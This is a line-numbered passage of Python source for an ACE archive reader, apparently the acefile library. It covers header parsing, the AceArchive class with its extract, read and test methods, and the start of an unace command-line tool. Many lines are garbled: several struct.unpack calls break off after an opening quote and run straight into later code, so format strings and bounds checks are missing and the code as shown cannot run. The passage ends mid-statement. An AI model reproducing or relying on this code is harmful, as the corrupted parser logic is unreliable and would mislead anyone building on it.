3024 | if not found_at_start: 3025 | if search == 0: 3026 | raise MainHeaderNotFoundError("no ACE header at offset 0") 3027 | self.__file.seek(0, 0) 3028 | buf = self.__file.read(search) 3029 | magicpos = 7 3030 | while magicpos < search: 3031 | magicpos = buf.find(MainHeader.MAGIC, magicpos + 1, search) 3032 | if magicpos == -1: 3033 | raise MainHeaderNotFoundError( 3034 | "no ACE header within first %i bytes" % search) 3035 | self.__file.seek(magicpos - 7, 0) 3036 | try: 3037 | self._parse_header() 3038 | break 3039 | except CorruptedArchiveError: 3040 | continue 3041 | while self.__file.tell() < self.__filesize: 3042 | self._parse_header() 3043 | 3044 | def _parse_header(self): 3045 | """ 3046 | Parse a single header from self.__file at the current file position. 3047 | Raises CorruptedArchiveError if the header cannot be parsed. 3048 | Guarantees that no data is written to object state 3049 | if an exception is thrown, otherwise the header is added to 3050 | self.__main_header, self.__file_headers and/or self.__all_headers. 3051 | """ 3052 | buf = self.__file.read(4) 3053 | if len(buf) < 4: 3054 | raise CorruptedArchiveError("truncated header") 3055 | hcrc, hsize = struct.unpack(' 0") 3071 | header.magic = buf[3:10] 3072 | if header.magic != MainHeader.MAGIC: 3073 | raise CorruptedArchiveError("main header without magic") 3074 | header.eversion, \ 3075 | header.cversion, \ 3076 | header.host, \ 3077 | header.volume, \ 3078 | header.datetime = struct.unpack(' len(buf): 3083 | raise CorruptedArchiveError("truncated header") 3084 | avsz, = struct.unpack(' len(buf): 3087 | raise CorruptedArchiveError("truncated header") 3088 | header.advert = buf[i:i+avsz] 3089 | i += avsz 3090 | if header.flag(Header.FLAG_COMMENT): 3091 | if i + 2 > len(buf): 3092 | raise CorruptedArchiveError("truncated header") 3093 | cmsz, = struct.unpack(' len(buf): 3096 | raise CorruptedArchiveError("truncated header") 3097 | header.comment = ACE.decompress_comment(buf[i:i+cmsz]) 3098 | i += cmsz 3099 | header.reserved2 = buf[i:] 3100 | if self.__main_header != None: 3101 | raise CorruptedArchiveError("multiple main headers") 3102 | self.__main_header = header 3103 | 3104 | elif htype in (Header.TYPE_FILE32, Header.TYPE_FILE64): 3105 | header = FileHeader(hcrc, hsize, htype, hflags) 3106 | if not header.flag(Header.FLAG_ADDSIZE): 3107 | raise CorruptedArchiveError("file header with addsize == 0") 3108 | if header.flag(Header.FLAG_64BIT): 3109 | if htype != Header.TYPE_FILE64: 3110 | raise CorruptedArchiveError("64 bit flag in 32 bit header") 3111 | if i + 16 > len(buf): 3112 | raise CorruptedArchiveError("truncated header") 3113 | header.packsize, \ 3114 | header.origsize, = struct.unpack(' len(buf): 3120 | raise CorruptedArchiveError("truncated header") 3121 | header.packsize, \ 3122 | header.origsize, = struct.unpack(' len(buf): 3125 | raise CorruptedArchiveError("truncated header") 3126 | header.datetime, \ 3127 | header.attribs, \ 3128 | header.crc32, \ 3129 | header.comptype, \ 3130 | header.compqual, \ 3131 | header.params, \ 3132 | header.reserved1, \ 3133 | fnsz = struct.unpack(' len(buf): 3136 | raise CorruptedArchiveError("truncated header") 3137 | header.filename = buf[i:i+fnsz] 3138 | i += fnsz 3139 | if header.flag(Header.FLAG_COMMENT): 3140 | if i + 2 > len(buf): 3141 | raise CorruptedArchiveError("truncated header") 3142 | cmsz, = struct.unpack(' len(buf): 3145 | raise CorruptedArchiveError("truncated header") 3146 | header.comment = ACE.decompress_comment(buf[i:i+cmsz]) 3147 | i += cmsz 3148 | if header.flag(Header.FLAG_NTSECURITY): 3149 | if i + 2 > len(buf): 3150 | raise CorruptedArchiveError("truncated header") 3151 | nssz, = struct.unpack(' len(buf): 3154 | raise CorruptedArchiveError("truncated header") 3155 | header.ntsecurity = buf[i:i+nssz] 3156 | i += nssz 3157 | header.reserved2 = buf[i:] 3158 | header.dataoffset = self.__file.tell() 3159 | self.__file_headers.append(header) 3160 | self.__file.seek(header.packsize, 1) 3161 | 3162 | else: 3163 | header = UnknownHeader(hcrc, hsize, htype, hflags) 3164 | addsz = 0 3165 | if header.flag(Header.FLAG_ADDSIZE): 3166 | if header.flag(Header.FLAG_64BIT): 3167 | if i + 8 > len(buf): 3168 | raise CorruptedArchiveError("truncated header") 3169 | addsz, = struct.unpack(' len(buf): 3172 | raise CorruptedArchiveError("truncated header") 3173 | addsz, = struct.unpack(' 1: 3294 | last_volume = None 3295 | for vol in self.__volumes: 3296 | if not vol.is_multivolume(): 3297 | raise MultiVolumeArchiveError("single-volume archive") 3298 | if last_volume != None and vol.volume != last_volume + 1: 3299 | raise MultiVolumeArchiveError("volumes do not match") 3300 | last_volume = vol.volume 3301 | 3302 | # build list of members and their file segments across volumes 3303 | self.__members = [] 3304 | headers = [] 3305 | segments = [] 3306 | for volume in self.__volumes: 3307 | for hdr in volume.get_file_headers(): 3308 | if len(headers) == 0: 3309 | if hdr.flag(Header.FLAG_CONTPREV): 3310 | if len(self.__members) > 0: 3311 | raise MultiVolumeArchiveError("incomplete file") 3312 | # don't raise an error if this is the first file 3313 | # in the first volume, to allow opening subsequent 3314 | # volumes of multi-volume archives separately 3315 | continue 3316 | else: 3317 | if not hdr.flag(Header.FLAG_CONTPREV): 3318 | raise MultiVolumeArchiveError("unexpected new file") 3319 | if hdr.filename != headers[-1].filename: 3320 | raise MultiVolumeArchiveError("filename mismatch") 3321 | headers.append(hdr) 3322 | segments.append(volume.file_segment_for(hdr)) 3323 | if not hdr.flag(Header.FLAG_CONTNEXT): 3324 | if len(segments) > 1: 3325 | f = MultipleFilesIO(segments) 3326 | else: 3327 | f = segments[0] 3328 | self.__members.append(AceMember(len(self.__members), 3329 | headers, f)) 3330 | headers = [] 3331 | segments = [] 3332 | 3333 | self.__next_read_idx = 0 3334 | self.__ace = ACE() 3335 | except: 3336 | self.close() 3337 | raise 3338 | 3339 | def __enter__(self): 3340 | """ 3341 | Using :class:`AceArchive` as a context manager ensures that 3342 | :meth:`AceArchive.close` is called after leaving the block. 3343 | """ 3344 | return self 3345 | 3346 | def __exit__(self, type, value, traceback): 3347 | self.close() 3348 | 3349 | def __iter__(self): 3350 | """ 3351 | Using :class:`AceArchive` as an iterater will iterate over 3352 | :class:`AceMember` objects for all archive members. 3353 | """ 3354 | return self.__members.__iter__() 3355 | 3356 | def __repr__(self): 3357 | return "<%s %r at %#x>" % (self.__class__.__name__, 3358 | self.filename, 3359 | id(self)) 3360 | 3361 | def close(self): 3362 | """ 3363 | Close the archive and all open files. 3364 | No other methods may be called after having called 3365 | :meth:`AceArchive.close`, but calling :meth:`AceArchive.close` 3366 | multiple times is permitted. 3367 | """ 3368 | if self.__tmp_file != None: 3369 | if not isinstance(self.__tmp_file, str): 3370 | self.__tmp_file.close() 3371 | self.__tmp_file = None 3372 | for volume in self.__volumes: 3373 | volume.close() 3374 | 3375 | def _getmember_byname(self, name): 3376 | """ 3377 | Return an :class:`AceMember` object corresponding to archive member 3378 | name *name*. 3379 | Raise :class:`KeyError` if *name* is not present in the archive. 3380 | If *name* occurs multiple times in the archive, then the last occurence 3381 | is returned. 3382 | """ 3383 | match = None 3384 | for am in self.__members: 3385 | if am.filename == name: 3386 | match = am 3387 | if match == None: 3388 | raise KeyError("no member '%s' in archive" % name) 3389 | return match 3390 | 3391 | def _getmember_byidx(self, idx): 3392 | """ 3393 | Return an :class:`AceMember` object corresponding to archive member 3394 | index *idx*. 3395 | Raise :class:`IndexError` if *idx* is not present in the archive. 3396 | """ 3397 | return self.__members[idx] 3398 | 3399 | def getmember(self, member): 3400 | """ 3401 | Return an :class:`AceMember` object corresponding to archive 3402 | member *member*. 3403 | Raise :class:`KeyError` or :class:`IndexError` if *member* is not 3404 | found in archive. 3405 | *Member* can refer to an :class:`AceMember` object, a member name or 3406 | an index into the archive member list. 3407 | If *member* is a name and it occurs multiple times in the archive, 3408 | then the last member with matching filename is returned. 3409 | """ 3410 | if isinstance(member, int): 3411 | return self._getmember_byidx(member) 3412 | elif isinstance(member, AceMember): 3413 | return member 3414 | elif isinstance(member, str): 3415 | return self._getmember_byname(member) 3416 | else: 3417 | raise TypeError("member argument has unsupported type") 3418 | 3419 | def getmembers(self): 3420 | """ 3421 | Return a list of :class:`AceMember` objects for the members of the 3422 | archive. 3423 | The objects are in the same order as they are in the archive. 3424 | For simply iterating over the members of an archive, it is more concise 3425 | and functionally equivalent to directly iterate over the 3426 | :class:`AceArchive` instance instead of over the list returned by 3427 | :meth:`AceArchive.getmembers`. 3428 | """ 3429 | return self.__members 3430 | 3431 | def getnames(self): 3432 | """ 3433 | Return a list of the (file)names of all the members in the archive 3434 | in the order they are in the archive. 3435 | """ 3436 | return [am.filename for am in self.getmembers()] 3437 | 3438 | def getrawnames(self): 3439 | return [am.raw_filename for am in self.getmembers()] 3440 | 3441 | def extract(self, member, *, path=None, pwd=None, restore=False): 3442 | """ 3443 | Extract an archive member to *path* or the current working directory. 3444 | *Member* can refer to an :class:`AceMember` object, a member name or 3445 | an index into the archive member list. 3446 | Password *pwd* is used to decrypt the archive member if it is 3447 | encrypted. 3448 | Raises :class:`EncryptedArchiveError` if an archive member is 3449 | encrypted but no password was provided. 3450 | Iff *restore* is True, restore mtime and atime for non-dir members, 3451 | file attributes and NT security information as far as supported by 3452 | the platform. 3453 | 3454 | .. note:: 3455 | 3456 | For **solid** archives, extracting members in a different order 3457 | than they appear in the archive works, but is potentially very 3458 | slow, because the decompressor needs to restart decompression at 3459 | the beginning of the solid archive to restore internal decompressor 3460 | state. 3461 | For **encrypted solid** archives, out of order access may fail when 3462 | archive members use different passwords. 3463 | """ 3464 | am = self.getmember(member) 3465 | 3466 | if path != None: 3467 | fn = os.path.join(path, am.filename) 3468 | else: 3469 | fn = am.filename 3470 | if am.is_dir(): 3471 | try: 3472 | os.mkdir(fn) 3473 | except FileExistsError: 3474 | pass 3475 | else: 3476 | basedir = os.path.dirname(fn) 3477 | if basedir != '': 3478 | os.makedirs(basedir, exist_ok=True) 3479 | with builtins.open(fn, 'wb') as f: 3480 | for buf in self.readblocks(am, pwd=pwd): 3481 | f.write(buf) 3482 | if restore: 3483 | if SetFileAttributes: 3484 | SetFileAttributes(fn, am.attribs) 3485 | elif am.attribs & Header.ATTR_READONLY != 0: 3486 | mode = stat.S_IMODE(os.lstat(fn).st_mode) 3487 | all_w = stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH 3488 | os.chmod(fn, mode & ~all_w) 3489 | if SetFileSecurity and am.ntsecurity: 3490 | SetFileSecurity(fn, 0x7, am.ntsecurity) 3491 | if not am.is_dir(): 3492 | ts = am.datetime.timestamp() 3493 | os.utime(fn, (ts, ts)) 3494 | 3495 | def extractall(self, *, path=None, members=None, pwd=None, restore=False): 3496 | """ 3497 | Extract *members* or all members from archive to *path* or the current 3498 | working directory. 3499 | *Members* can contain :class:`AceMember` objects, member names or 3500 | indexes into the archive member list. 3501 | Password *pwd* is used to decrypt encrypted archive members. 3502 | To extract archives that use multiple different passwords for different 3503 | archive members, you must use :meth:`AceArchive.extract` instead. 3504 | Raises :class:`EncryptedArchiveError` if an archive member is 3505 | encrypted but no password was provided. 3506 | Iff *restore* is True, restore mtime and atime for non-dir members, 3507 | file attributes and NT security information as far as supported by 3508 | the platform. 3509 | """ 3510 | if members == None or members == []: 3511 | members = self.getmembers() 3512 | else: 3513 | if self.is_solid(): 3514 | # ensure members subset is in order of appearance 3515 | sorted_members = [] 3516 | for member in self.getmembers(): 3517 | if member in members or \ 3518 | member.filename in members or \ 3519 | member._idx in members: 3520 | sorted_members.append(member) 3521 | members = sorted_members 3522 | for am in members: 3523 | self.extract(am, path=path, pwd=pwd, restore=restore) 3524 | 3525 | def read(self, member, *, pwd=None): 3526 | """ 3527 | Read the decompressed bytes of an archive member. 3528 | *Member* can refer to an :class:`AceMember` object, a member name or 3529 | an index into the archive member list. 3530 | Password *pwd* is used to decrypt the archive member if it is 3531 | encrypted. 3532 | Raises :class:`EncryptedArchiveError` if the archive member is 3533 | encrypted but no password was provided. 3534 | 3535 | .. note:: 3536 | 3537 | For **solid** archives, reading members in a different order than 3538 | they appear in the archive works, but is potentially very slow, 3539 | because the decompressor needs to restart decompression at the 3540 | beginning of the solid archive to restore internal decompressor 3541 | state. 3542 | For **encrypted solid** archives, out of order access may fail when 3543 | archive members use different passwords. 3544 | 3545 | .. note:: 3546 | 3547 | Using :meth:`AceArchive.read` for large files is inefficient and 3548 | may fail for very large files. 3549 | Using :meth:`AceArchive.readblocks` to write the data to disk in 3550 | blocks ensures that large files can be handled efficiently. 3551 | """ 3552 | return b''.join(self.readblocks(member, pwd=pwd)) 3553 | 3554 | def readblocks(self, member, *, pwd=None): 3555 | """ 3556 | Read the archive member by yielding blocks of decompressed bytes. 3557 | *Member* can refer to an :class:`AceMember` object, a member name or 3558 | an index into the archive member list. 3559 | Password *pwd* is used to decrypt the archive member if it is 3560 | encrypted. 3561 | Raises :class:`EncryptedArchiveError` if the archive member is 3562 | encrypted but no password was provided. 3563 | 3564 | .. note:: 3565 | 3566 | For **solid** archives, reading members in a different order than 3567 | they appear in the archive works, but is potentially very slow, 3568 | because the decompressor needs to restart decompression at the 3569 | beginning of the solid archive to restore internal decompressor 3570 | state. 3571 | For **encrypted solid** archives, out of order access may fail when 3572 | archive members use different passwords. 3573 | """ 3574 | am = self.getmember(member) 3575 | 3576 | # Need first volume available to read from solid multi-volume archives. 3577 | if self.is_solid() and self.is_multivolume() and self.volume > 0: 3578 | raise MultiVolumeArchiveError("need first volume") 3579 | 3580 | # For solid archives, ensure the LZ77 state corresponds to the state 3581 | # after extracting the previous file by re-starting extraction from 3582 | # the beginning or the last extracted file. This is what makes out 3583 | # of order access to solid archive members prohibitively slow. 3584 | if self.is_solid() and self.__next_read_idx != am._idx: 3585 | if self.__next_read_idx < am._idx: 3586 | restart_idx = self.__next_read_idx 3587 | else: 3588 | restart_idx = self.__next_read_idx = 0 3589 | for i in range(restart_idx, am._idx): 3590 | if not self.test(i): 3591 | raise CorruptedArchiveError("failed to restore solid state") 3592 | 3593 | if (not am.is_dir()) and am.size > 0: 3594 | f = am._file 3595 | f.seek(0, 0) 3596 | 3597 | # For password protected members, wrap the file-like object in 3598 | # a decrypting wrapper object. 3599 | if am.is_enc(): 3600 | if not pwd: 3601 | raise EncryptedArchiveError("need password") 3602 | f = EncryptedFileIO(f, AceBlowfish(pwd)) 3603 | 3604 | # Choose the matching decompressor based on the first header. 3605 | if am.comptype == Header.COMP_STORED: 3606 | decompressor = self.__ace.decompress_stored 3607 | elif am.comptype == Header.COMP_LZ77: 3608 | decompressor = self.__ace.decompress_lz77 3609 | elif am.comptype == Header.COMP_BLOCKED: 3610 | decompressor = self.__ace.decompress_blocked 3611 | else: 3612 | raise UnknownCompressionMethodError( 3613 | "method %i unknown" % am.comptype) 3614 | 3615 | # Decompress and calculate CRC over full decompressed data, 3616 | # i.e. after decryption and across all segments that may have 3617 | # been read from different volumes. 3618 | crc = AceCRC32() 3619 | try: 3620 | for block in decompressor(f, am.size, am.dicsize): 3621 | crc += block 3622 | yield block 3623 | except ValueError: 3624 | if am.is_enc(): 3625 | raise EncryptedArchiveError("wrong password or corrupted") 3626 | else: 3627 | raise CorruptedArchiveError("ValueError during decomp") 3628 | except CorruptedArchiveError: 3629 | if am.is_enc(): 3630 | raise EncryptedArchiveError("wrong password or corrupted") 3631 | raise 3632 | if crc != am.crc32: 3633 | if am.is_enc(): 3634 | raise EncryptedArchiveError("wrong password or corrupted") 3635 | raise CorruptedArchiveError("CRC mismatch") 3636 | 3637 | self.__next_read_idx += 1 3638 | 3639 | def test(self, member, *, pwd=None): 3640 | """ 3641 | Test an archive member. Returns False if any corruption was 3642 | found, True if the header and decompression was okay. 3643 | *Member* can refer to an :class:`AceMember` object, a member name or 3644 | an index into the archive member list. 3645 | Password *pwd* is used to decrypt the archive member if it is 3646 | encrypted. 3647 | Raises :class:`EncryptedArchiveError` if the archive member is 3648 | encrypted but no password was provided. 3649 | 3650 | .. note:: 3651 | 3652 | For **solid** archives, testing members in a different order than 3653 | they appear in the archive works, but is potentially very slow, 3654 | because the decompressor needs to restart decompression at the 3655 | beginning of the solid archive to restore internal decompressor 3656 | state. 3657 | For **encrypted solid** archives, out of order access may fail when 3658 | archive members use different passwords. 3659 | """ 3660 | try: 3661 | for buf in self.readblocks(member, pwd=pwd): 3662 | pass 3663 | return True 3664 | except EncryptedArchiveError: 3665 | raise 3666 | except AceError: 3667 | if DEBUG: 3668 | raise 3669 | return False 3670 | 3671 | def testall(self, *, pwd=None): 3672 | """ 3673 | Test all the members in the archive. Returns the name of the first 3674 | archive member with a failing header or content CRC, or None if all 3675 | members were okay. 3676 | Password *pwd* is used to decrypt encrypted archive members. 3677 | To test archives that use multiple different passwords for different 3678 | archive members, use :meth:`AceArchive.test` instead. 3679 | Raises :class:`EncryptedArchiveError` if an archive member is 3680 | encrypted but no password was provided. 3681 | """ 3682 | for am in self.getmembers(): 3683 | if not self.test(am, pwd=pwd): 3684 | return am.filename 3685 | return None 3686 | 3687 | def dumpheaders(self, file=sys.stdout): 3688 | """ 3689 | Dump all ACE file format headers in this archive and all its volumes 3690 | to *file*. 3691 | """ 3692 | for volume in self.__volumes: 3693 | volume.dumpheaders() 3694 | 3695 | def is_locked(self): 3696 | """ 3697 | Return True iff archive is locked for further modifications. 3698 | Since this implementation does not support writing to archives, 3699 | presence or absence of the flag in an archive does not change any 3700 | behaviour of :mod:`acefile`. 3701 | """ 3702 | return self.__volumes[0].is_locked() 3703 | 3704 | def is_multivolume(self): 3705 | """ 3706 | Return True iff archive is a multi-volume archive as determined 3707 | by the archive headers. When opening the last volume of a 3708 | multi-volume archive, this returns True even though only a single 3709 | volume was loaded. 3710 | """ 3711 | return self.__volumes[0].is_multivolume() 3712 | 3713 | def is_solid(self): 3714 | """ 3715 | Return True iff archive is a solid archive, i.e. iff the archive 3716 | members are linked to each other by sharing the same LZ77 dictionary. 3717 | Members of solid archives should always be read/tested/extracted in 3718 | the order they appear in the archive in order to avoid costly 3719 | decompression restarts from the beginning of the archive. 3720 | """ 3721 | return self.__volumes[0].is_solid() 3722 | 3723 | @property 3724 | def advert(self): 3725 | """ 3726 | ACE archive advert string as :class:`str`. 3727 | Unregistered versions of ACE compressors communicate that they are 3728 | unregistered by including an advert string of 3729 | ``*UNREGISTERED VERSION*`` in archives they create. 3730 | If absent, empty :class:`str`. 3731 | """ 3732 | return self.__volumes[0].advert 3733 | 3734 | @property 3735 | def comment(self): 3736 | """ 3737 | ACE archive level comment as :class:`str`. 3738 | If absent, empty :class:`str`. 3739 | """ 3740 | return self.__volumes[0].comment 3741 | 3742 | @property 3743 | def cversion(self): 3744 | """ 3745 | ACE creator version. This is equal to the major version of the ACE 3746 | compressor used to create the archive, which equals the highest 3747 | version of the ACE format supported by the ACE compressor which 3748 | produced the archive. 3749 | """ 3750 | return self.__volumes[0].cversion 3751 | 3752 | @property 3753 | def eversion(self): 3754 | """ 3755 | ACE extractor version. This is the version of the ACE decompressor 3756 | required to extract, which equals the version of the ACE format this 3757 | archive is compliant with. 3758 | """ 3759 | return self.__volumes[0].eversion 3760 | 3761 | @property 3762 | def filename(self): 3763 | """ 3764 | ACE archive filename. This is not a property of the archive but rather 3765 | just the filename passed to :func:`acefile.open`. 3766 | """ 3767 | return self.__volumes[0].filename 3768 | 3769 | @property 3770 | def datetime(self): 3771 | """ 3772 | Archive timestamp as :class:`datetime.datetime` object. 3773 | """ 3774 | return self.__volumes[0].datetime 3775 | 3776 | @property 3777 | def platform(self): 3778 | """ 3779 | String describing the platform on which the ACE archive was created. 3780 | This is derived from the *host* field in the archive header. 3781 | """ 3782 | return self.__volumes[0].platform 3783 | 3784 | @property 3785 | def volume(self): 3786 | """ 3787 | ACE archive volume number of the first volume of this ACE archive. 3788 | """ 3789 | return self.__volumes[0].volume 3790 | 3791 | @property 3792 | def volumes_loaded(self): 3793 | """ 3794 | Number of loaded volumes in this archives. When opening a subsequent 3795 | volume of a multi-volume archive, this may be lower than the 3796 | theoretical volume count. 3797 | """ 3798 | return len(self.__volumes) 3799 | 3800 | 3801 | 3802 | def is_acefile(file, *, search=524288): 3803 | """ 3804 | Return True iff *file* refers to an ACE archive by filename or seekable 3805 | file-like object. 3806 | If *search* is 0, the archive must start at position 0 in *file*, 3807 | otherwise the first *search* bytes are searched for the magic bytes 3808 | ``**ACE**`` that mark the ACE main header. 3809 | For 1:1 compatibility with the official unace, 1024 sectors are 3810 | searched by default, even though none of the SFX stubs that come with 3811 | ACE compressors are that large. 3812 | """ 3813 | try: 3814 | with open(file, search=search) as f: 3815 | pass 3816 | return True 3817 | except AceError: 3818 | return False 3819 | 3820 | 3821 | 3822 | #: The compression type constant for no compression. 3823 | COMP_STORED = Header.COMP_STORED 3824 | #: The compression type constant for ACE 1.0 LZ77 mode. 3825 | COMP_LZ77 = Header.COMP_LZ77 3826 | #: The compression type constant for ACE 2.0 blocked mode. 3827 | COMP_BLOCKED = Header.COMP_BLOCKED 3828 | 3829 | #: The compression quality constant for no compression. 3830 | QUAL_NONE = Header.QUAL_NONE 3831 | #: The compression quality constant for fastest compression. 3832 | QUAL_FASTEST = Header.QUAL_FASTEST 3833 | #: The compression quality constant for fast compression. 3834 | QUAL_FAST = Header.QUAL_FAST 3835 | #: The compression quality constant for normal compression. 3836 | QUAL_NORMAL = Header.QUAL_NORMAL 3837 | #: The compression quality constant for good compression. 3838 | QUAL_GOOD = Header.QUAL_GOOD 3839 | #: The compression quality constant for best compression. 3840 | QUAL_BEST = Header.QUAL_BEST 3841 | 3842 | open = AceArchive._open 3843 | 3844 | __all__ = ['is_acefile', 'open'] 3845 | __all__.extend(filter(lambda name: name.startswith('COMP_'), 3846 | sorted(list(globals())))) 3847 | __all__.extend(filter(lambda name: name.startswith('QUAL_'), 3848 | sorted(list(globals())))) 3849 | __all__.extend(filter(lambda name: name.endswith('Error'), 3850 | sorted(list(globals())))) 3851 | 3852 | 3853 | 3854 | def unace(): 3855 | import argparse 3856 | import getpass 3857 | import signal 3858 | 3859 | def title(docstr): 3860 | return docstr.strip().split('\n', 1)[0] 3861 | 3862 | class Status: 3863 | def __init__(self, argv0, action, archive): 3864 | self.argv0 = os.path.basename(argv0) 3865 | self.action = action + 'ing' 3866 | self.archive = os.path.basename(archive) 3867 | self.member = '' 3868 | 3869 | def __str__(self): 3870 | return "%s: %s %s %s" % (self.argv0, self.action, 3871 | self.archive, self.member) 3872 | 3873 | status = None 3874 | 3875 | def siginfo_handler(signum, frame): 3876 | eprint(status) 3877 | 3878 | parser = argparse.ArgumentParser(description=title(__doc__)) 3879 | 3880 | parser.add_argument('archive', type=str, 3881 | help='archive to read from') 3882 | parser.add_argument('file', nargs='*', type=str, 3883 | help='file(s) in archive to operate on, default all') 3884 | 3885 | parser.add_argument('-V', '--version', action='version', 3886 | version='acefile %s' % __version__, 3887 | help='show version and exit') 3888 | 3889 | group = parser.add_mutually_exclusive_group() 3890 | group.add_argument('--extract', '-x', default='extract', 3891 | action='store_const', dest='mode', const='extract', 3892 | help='extract files in archive (default)') 3893 | group.add_argument('--test', '-t', 3894 | action='store_const', dest='mode', const='test', 3895 | help='test archive integrity') 3896 | group.add_argument('--list', '-l', 3897 | action='store_const', dest='mode', const='list', 3898 | help='list files in archive') 3899 | group.add_argument('--headers', 3900 | action='store_const', dest='mode', const='headers', 3901 | help='dump archive headers') 3902 | group.add_argument('--selftest', 3903 | action='store_const', dest='mode', const='selftest', 3904 | help=argparse.SUPPRESS) 3905 | 3906 | parser.add_argument('-d', '--basedir', type=str, default='.', metavar='X', 3907 | help='base directory for extraction') 3908 | parser.add_argument('-p', '--password', type=str, metavar='X', 3909 | help='password for decryption') 3910 | parser.add_argument('-r', '--restore', action='store_true', 3911 | help='restore mtime/atime, attribs and ntsecurity on extraction') 3912 | parser.add_argument('-b', '--batch', action='store_true', 3913 | help='suppress all interactive input') 3914 | parser.add_argument('-v', '--verbose', action='store_true', 3915 | help='be more verbose') 3916 | parser.add_argument('--debug', action='store_true', 3917 | help=argparse.SUPPRESS) 3918 | 3919 | # not implemented arguments that other unace implementations have: 3920 | # --(no-)full-path always full path extraction 3921 | # --(no-)show-comments show comments iff verbose 3922 | # --(no-)overwrite-files always overwrite files 3923 | # --(no-)full-path-matching always full path matching 3924 | # --exclude(-list) feature not implemented 3925 | 3926 | args = parser.parse_args() 3927 | 3928 | if args.mode != 'extract' and len(args.file) > 0: 3929 | eprint("%s: error: not extracting, but files were specified" % 3930 | os.path.basename(sys.argv[0])) 3931 | sys.exit(1) 3932 | 3933 | if args.debug: 3934 | global DEBUG 3935 | DEBUG = True 3936 | 3937 | if hasattr(signal, 'SIGINFO'): 3938 | signal.signal(signal.SIGINFO, siginfo_handler) 3939 | status = Status(sys.argv[0], args.mode, args.archive) 3940 | 3941 | if args.archive == '-': 3942 | if sys.stdin.buffer.seekable() and platform.system() != 'Windows': 3943 | archive = sys.stdin.buffer 3944 | else: 3945 | archive = io.BytesIO(sys.stdin.buffer.read()) 3946 | else: 3947 | archive = args.archive 3948 | 3949 | try: 3950 | with open(archive) as f: 3951 | if args.verbose: 3952 | if acebitstream == None: 3953 | eprint(("warning: acebitstream c extension unavailable, " 3954 | "using pure-python bit stream")) 3955 | eprint("processing archive %s" % f.filename) 3956 | eprint("loaded %i volume(s) starting at volume %i" % ( 3957 | f.volumes_loaded, f.volume)) 3958 | archinfo = [] 3959 | if not f.is_locked(): 3960 | archinfo.append('not ') 3961 | archinfo.append('locked, ') 3962 | if not f.is_multivolume(): 3963 | archinfo.append('not ') 3964 | archinfo.append('multi-volume, ') 3965 | if not f.is_solid(): 3966 | archinfo.append('not ') 3967 | archinfo.append('solid') 3968 | eprint("archive is", ''.join(archinfo)) 3969 | eprint("last modified %s" % ( 3970 | f.datetime.strftime('%Y-%m-%d %H:%M:%S'))) 3971 | eprint("created on %s with ACE %s for extraction with %s+" % ( 3972 | f.platform, f.cversion/10, f.eversion/10)) 3973 | if f.advert: 3974 | eprint("advert [%s]" % f.advert) 3975 | 3976 | if f.is_multivolume() and f.volume > 0: 3977 | eprint("warning: this is not the initial volume of this " 3978 | "multi-volume archive") 3979 | if f.comment: 3980 | eprint(asciibox(f.comment, title='archive comment')) 3981 | 3982 | if args.mode == 'extract': 3983 | if f.is_multivolume() and f.volume > 0 and f.is_solid(): 3984 | eprint(("error: need complete set of volumes to extract " 3985 | "from solid multivolume archive")) 3986 | sys.exit(1) 3987 | failed = 0 3988 | password = args.password 3989 | if args.file: 3990 | members = [f.getmember(m) for m in args.file] 3991 | else: 3992 | members = f.getmembers() 3993 | for am in members: 3994 | if status: 3995 | status.member = am.filename 3996 | if am.is_enc() and password == None and not args.batch: 3997 | try: 3998 | password = getpass.getpass("%s password: " % \ 3999 | am.filename) 4000 | except EOFError: 4001 | password = None 4002 | while True: 4003 | try: 4004 | f.extract(am, path=args.basedir, 4005 | pwd=password, 4006 | restore=args.restore) 4007 | if args.verbose: 4008 | eprint("%s" % am.filename) 4009 | break 4010 | except EncryptedArchiveError: 4011 | if args.verbose or args.batch or not password: 4012 | eprint("%s failed to decrypt" % am.filename) 4013 | if args.batch or not password: 4014 | failed += 1 4015 | break 4016 | try: 4017 | password = getpass.getpass("%s password: " % \ 4018 | am.filename) 4019 | except EOFError: 4020 | password = '' 4021 | if password == '': 4022 | password = args.password 4023 | eprint("%s skipped" % am.filename) 4024 | failed += 1 4025 | break 4026 | except AceError: 4027 | eprint("%s failed to extract" % am.filename) 4028 | failed += 1 4029 | break 4030 | if f.is_solid() and failed > 0: 4031 | eprint("error extracting from solid archive, aborting") 4032 | sys.exit(1) 4033 | if args.verbose and am.comment: 4034 | eprint(asciibox(am.comment, title='file comment')) 4035 | if failed > 0: 4036 | sys.exit(1) 4037 | 4038 | elif args.mode == 'test': 4039 | if f.is_multivolume() and f.volume > 0 and f.is_solid(): 4040 | eprint(("error: need complete set of volumes to test " 4041 | "solid multivolume archive")) 4042 | sys.exit(1) 4043 | failed = 0 4044 | ok = 0 4045 | password = args.password 4046 | for am in f: 4047 | if status: 4048 | status.member = am.filename 4049 | if f.is_solid() and failed > 0: 4050 | print("failure %s" % am.filename) 4051 | failed += 1 4052 | continue 4053 | if am.is_enc() and password == None and not args.batch: 4054 | try: 4055 | password = getpass.getpass("%s password: " % \ 4056 | am.filename) 4057 | except EOFError: 4058 | password = None 4059 | while True: 4060 | try: 4061 | if f.test(am, pwd=password): 4062 | print("success %s" % am.filename) 4063 | ok += 1 4064 | else: 4065 | print("failure %s" % am.filename) 4066 | failed += 1 4067 | break 4068 | except EncryptedArchiveError: 4069 | if args.batch or not password: 4070 | print("needpwd %s" % am.filename) 4071 | failed += 1 4072 | break 4073 | eprint("last used password failed") 4074 | try: 4075 | password = getpass.getpass("%s password: " % \ 4076 | am.filename) 4077 | except EOFError: 4078 | password = '' 4079 | if password == '': 4080 | password = args.password 4081 | print("needpwd %s" % am.filename) 4082 | failed += 1 4083 | break 4084 | if args.verbose and am.comment: 4085 | eprint(asciibox(am.comment, title='file comment')) 4086 | eprint("total %i tested, %i ok, %i failed" % ( 4087 | ok + failed, ok, failed)) 4088 | if failed > 0: 4089 | sys.exit(1) 4090 | 4091 | elif args.mode == 'list': 4092 | if args.verbose: 4093 | eprint(("CQD FES size packed rel " 4094 | "timestamp filename")) 4095 | count = count_size = count_packsize = 0 4096 | for am in f: 4097 | if am.is_dir(): 4098 | ft = 'd' 4099 | else: 4100 | ft = 'f' 4101 | if am.is_enc(): 4102 | en = '+' 4103 | else: 4104 | en = ' ' 4105 | if am.ntsecurity: 4106 | ns = 's' 4107 | else: 4108 | ns = ' ' 4109 | if am.size > 0: 4110 | ratio = (100 * am.packsize) // am.size 4111 | else: 4112 | ratio = 100 4113 | print("%i%i%s %s%s%s %9i %9i %3i%% %s %s" % ( 4114 | 